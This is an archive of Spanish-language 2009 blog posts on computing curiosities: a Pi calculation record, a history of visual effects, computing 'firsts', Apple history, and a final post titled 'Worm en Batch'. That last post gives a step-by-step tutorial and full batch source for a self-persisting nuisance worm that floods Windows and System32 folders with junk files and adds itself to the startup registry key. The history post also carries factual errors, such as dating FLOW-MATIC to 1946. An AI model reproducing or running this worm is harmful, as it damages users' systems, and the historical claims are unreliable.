miércoles, 26 de agosto de 2009

¡π Pi rompe su propio récord π!



El profesor Daisuke Takahashi y su equipo de investigadores de la Universidad de Tsukuba han realizado un nuevo cálculo del número Pi, con 2.5 billones de decimales, más del doble del último récord alcanzado en 2002.
Esto fue posible gracias a la supercomputadora T2K Tsukuba System y un grupo de 640 computadoras de última generación. Tomó cerca de 73 horas y 36 minutos para llegar a 2.5 billones de decimales y alcanzaron una velocidad de procesamiento de 95 teraflops y con ese poder, Pi fue calculado hasta 2,576,980,377,524 posiciones decimales, lo cual es demasiado...
El objetivo de esta prueba era ver la velocidad y fiabilidad de sus supercompUtars(jeje para decir zupercompiuta) y, al parecer fue todo un éxito.
Fuentes:

Efectos visuales: 100 años de inspiración.


El video muestra como han evolucionado los efectos visuales a través de los últimos 100 años de cine. Pero faltaron algunas películas como Matrix... y...el sonido deja mucho que decir...
El orden de los clips es el siguiente:
1900 - The Enchanted Drawing1903 - The Great Train Robbery1923 - The Ten Commandments (Silent)1927 - Sunrise1933 - King Kong1939 - The Wizard of Oz1940 - The Thief of Bagdad1954 - 20,000 Leagues Under the Sea1956 - Forbidden Planet1963 - Jason and the Argonauts1964 - Mary Poppins1977 - Star Wars1982 - Tron1985 - Back to the Future1988 - Who Framed Roger Rabbit1989 - The Abyss1991 - Terminator 2: Judgement Day1992 - The Young Indiana Jones Chronicles1993 - Jurassic Park2004 - Spider-Man 22005 - King Kong2006 - Pirates of the Caribbean: Dead Man's Chest2007 - Pirates of the Caribbean: At World's End2007 - The Golden Compass2008 - The Spiderwick Chronicles2008 - The Curious Case of Benjamin Button.

sábado, 8 de agosto de 2009

Los 10 momentos históricos mas importantes de la informatica de hoy...

1.-Los primeros computadores Personales (microcomputadores):

En sí, el primer ordenador personal fue el Xerox Alto de 1973 con una interfaz gráfica.
Aunque se podrían mencionar a los primeros microcomputadores o computadores personales a los creadores de las empresas como lo son Apple, IBM o tambien como la Commodore , pero estos computadores ya estaban siendo comercializados como los computadores de microprocesadores de 8 bits, o los computadores como el altair 8800 al cual Bill le dio un lenguaje de programacion, o el Commodore 64, El PET o el VIC-20 unos de los computadores mas vendidos de los 80's, o hasta la IBM Pc. Pero el hecho es que cada uno de estos computadores fueron los que moldearon el futuro de los mismos.

2.-El primer Lenguaje de programacion:

En 1946 Grace Murray Hooper, Científica en sistemas y oficial de la marina de Estados Unidos creó el FLOW-MATIC, el primer lenguaje de computadora de gran utilidad para resolver problemas de usuarios comerciales, específicamente para la computadora UNIVAC 1.Era ligeramente cercano al idioma inglés y visto como lenguaje de "alto nivel": fácil de usar por los programadores pero necesitaba ser traducido por otro programa (compilador) en un lenguaje que la computadora pudiera interpretar y llevar a cabo, el cual ella también fue la primera en crearlo, el A-0 (Math Matic) y el B-0. Y además en 1960 presentó su primera versión del lenguaje COBOL (Common Business-Oriented Language).También se podrían destacar a FORTRAN (FORmula-TRANslator) creado en 1957 por IBM para uso científico y porque se convirtió en el primer lenguaje de programación de alto nivel para programadores disponible. Y a ALGOL (Algoritihmic Laguaje) creado en 1958.

3.- El primer Microprocesador:

Creado ya hace 38 años, El Intel 4004 (i4004), fue el primer microprocesador en un simple chip. El procesador fue originalmente diseñado para la compañía japonesa Busicom para ser usado en su línea de calculadoras, contenía 2.300 transistores en un microprocesador de 4 bits que sólo podía realizar 60.000 operaciones por segundo, Encapsulado CERDIP de 16 pines
y con una Máxima velocidad del reloj a 740 KHz. Esta era la primera vez que un “chip” electrónico podía ser programado mediante software para dársele un uso general. Comparado con los circuitos electrícos que le antecedían, sus ventajas eran evidentes, ya se podía contar con circuitos integrados fabricados en grandes cantidades y a un precio mucho mas bajo y accesible para los ingenieros.

4.-El primer programa: (posteo este ejemplo de computadora, porque, aunque han habido muchas mas, fue la primera en utilizar el tipo de arquitectura Neumann.)

Aunque ya se sabía que los programas anteriormente (hace como 100 o 80 años) corrían como tarjetas perforadas en enormes máquinas que los procesaban, no fue sino hasta 1948 (aunque ya en 1936 se corrían programas pero en cintas perforadas(la Z1)) que un ingeniero británico Tom Kilburn y Freddie Williams inventaran la Small Scale Experimental Machine apodada "BABY" en la cual se corrió el primer programa digitalmente, cuyo propósito era encontrar el mayor factor de un número. Esa vez, 21 de junio de 1948, cuando corrieron el programa por primera vez con un número pequeño, la respuesta fue exitosa, días después intentaron con uno mas grande (2^18) que duró 52 minutos, impresionante para la época, pues se trataba de 2.1 millones de instrucciones con cerca de 3½ millon de operaciones de acceso. Dejo Imagenes de como fue diseñado el programa y la computadora

La interpretacion del código era el siguiente:

000 CI = S 010 A = - S 001 A = A - S 011 If A < ci =" CI">
100 CI = CI + S 110 S = A 101 A = A - S 111 HALT

o mejor dicho:
A = - S
A = A - S
S = A
If A < ci =" CI">
CI = S
CI = CI + S
Halt the program

5.- El primer Sistema Operativo:
Al parecer los primeros SOs eran sistemas que trabajaban por lotes, si nos remontamos a la segunda generación de computadores. Los que si fueron sistemas operativos en sí, mas o menos como los conocemos nosotros, fue uno desarrollado en 1956 para un IBM 704, que básicamente lo que hacía era comenzar la ejecucion de un programa cuando el otro terminara, luego se crearon el OS/360 de IBM y Unix,(cabe destacar que unix era un sistema de tiempo compartido y relativamente lento) pero estos estaban todavía lejos de ser los sistemas operativos que hoy conocemos, más tarde llegó el Xerox Alto que era un sistema operativo con GUI o con interfaz gráfica, el primero en utilizarlo y de ahí en adelante siguieron el DOS, que lo compró Microsoft, llamado luego MS-DOS y el Macintosh de Apple.


6.-El primer Videojuego:

Cuando hablamos del primer videojuego, nos referimos al primer programa especializado para entretenimiento, por lo que nos da un total de 3 videojuegos que se hacen llamar los primeros, uno llamado OXO, que consistía en un juego de Tic-Tac-Toe, desarrollado en 1952 por A.S. Douglas, otro en 1957, que se hacía llamar Tennis For Two, por William Higginbotham, que consistía en una clase de juego de tennis, el tercero llamado Spacewar! que fue el primer juego interactivo desarrollado por Steve Russell en 1961, junto a los estudiantes del MIT(Instituto de Tecnología de Massachusetts).

7.- El primer Servidor Web:

Un NeXTcube de Tim Berners Lee fue el primer servidor web, utilizado también para crear el primer navegador web llamado precisamente WorldWideWeb, en 1990, todo, para conectar a los investigadores de la CERN, para facilitarles la comunicación.

8.-La primera red de computadoras:

La primera red de computadores interconectadas se llamaba ARPANET, era un pryecto creado en 1969, por el Departamento de Defensa de los Estados Unidos con el fin de comunicar los diferentes organismos del país. Pero ésta red era sólo para comunicar a los Estados Unidos, había que esperar varios años para la primera aparición de una red de computadoras a nivel internacional, la World Wide Web, que es lo que manejamos nosotros en estos momentos a través de Internet.
La World Wide Web, fue inventada por Tim Berners Lee (y Robert Calliou) mientras trabajaba en un lenguaje de hipertexto (html) para facilitar el uso de la información y poder comunicar a la CERN. Esta fue la primera vez que se utilizó el servidor web y el primer navegador.
9.-La primera Pagina web: La primera página web fue: http://www.w3.org/History/19921103-hypertext/hypertext/WWW/TheProject.html que originalmente era: http://nxoc01.cern.ch/hypertext/WWW/TheProject.html pero ya no existe, Dejo la página donde se celebran los 20 años de la existencia de la www. http://info.cern.ch/

10.-El primer Blog: La primera bitácora o el primer blog publicado fue este http://archive.scripting.com/1997/04/01 de scripting news, que desde esa fecha todavía sigue escribiendo, su autor es Dave Winer.

En conclusión:

Dejo una conclusión porque este post fue muy enredado, la primera computadora personal fue el Xerox Alto, El primer Videojuego fue el OXO, El primer lenguaje de computadora fue el FLOW-MATIC, El primer Sistema Operativo fue el OS/360,
Posdata: Al comienzo del post en el 1, de los computadores, no puse el primer computador, porque sabriamos que esos computadores eran unas enormes maquinas que utilizaban tarjetas perforadas para procesar los programas.

viernes, 7 de agosto de 2009

Una breve evolucion de las computadoras apple


Así es, quien diría que una de las primeras compañias en dar a conocer las computadoras personales darían pasos agigantados a mas de 20 años después de su creación, la apple 1, al parecer fue hecha a mano limpia por Steve Wozniak para su uso personal. Las primeras ventas de esta computadora fueron en "The Byte Shop" en Mountain View ademas de haber sido exhibidas en el Silicon Valley's Homebrew Computer Club antes de ser vendidas. Fue el solo amigo de Steve Wozniak (Steve Jobs) que pensó en vender estas computadoras personales para personas, aunque cuando fueron a enseñarselas a la Hewlett-Packard(la empresa en la que Woz trabajaba), este lo retiró de inmediato, no aceptaban la idea de vender computadoras personales para la gente común y corriente, eso fue un gran alivio para Steve Jobs quien pudo curar sus ansias de no poder vender esa idea solo porque el que la inventó tenía que darlas todas a la empresa a la que trabajaba.
Como vieron que la idea resultó beneficiosa para ser vendida, se consiguieron a algunas personas para que comenzaran una línea de ensamblaje de estas computadoras personales
en el propio garage y asi poder venderlas al publico ; se producieron cerca de 200 unidades a un precio de $666.66 y comparadas con las computadoras de la época (que ofrecían las computadoras como kits) ésta se vendía como un tablero de circuitos completamente ensamblado que contenía cerca de 30 chips. Y así fue el comienzo de las computadoras de apple. Del apple al macbook air.

jueves, 6 de agosto de 2009

6 de agosto: Un día inolvidable para Apple

Hoy 6 de agosto, se cumplieron ya hace 12 años de la vez en que Bill gates apareció en la pantalla grande de la MacWorld Expo anunciando en que colaborará con Apple comprándole $150 millones de dólares en acciones para salvar a la Compañía.
Ese día, Microsoft pasó a ser parte de Mac: con Internet Explorer, Office y colaborar en el desarrollo de Java para sus sistemas durante unos 5 años...
Aquí está el Vídeo de ese día en que los Usuarios de Mac nunca olvidarán...

miércoles, 5 de agosto de 2009

Worm en Batch

Bueno, un worm o gusano es un malware que tiene la capacidad de duplicarse por si mismo, estos utilizan parte del Sistema Operativo para hacerse practicamente invisibles para el usuario. La mayoria de ellos causan problemas en la red.

Lo primero que hay que hacer es abrir el bloc de notas e ingresas el siguiente codigo:

@echo off
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm


ahora vamos a guardar como, elegimos el lugar donde guardaremos el worm, y lo nombramos como quisieramos, pero que al final tenga un .bat
ejemplo:: GUSANO.bat
Luego de guardarlo agregamos otra linea de registro debajo de @echo off, para que cuando la pc se inicie el worm tambien.

copy %0 %windir%\system32\worm.bat
REG ADD
HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat


Al final nos quedaría algo así:
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm

Ahora el worm se autocopiara en el directorio: C:\Windows\System32\worm.bat y la otra linea era para agregar una entrada al registro al kual iniciara nuestro virus cada vez que se inicie sesion.
y ya esta listo el worm, pero, el archivo no debe de ser abierto, pq te infectarás de inmediato.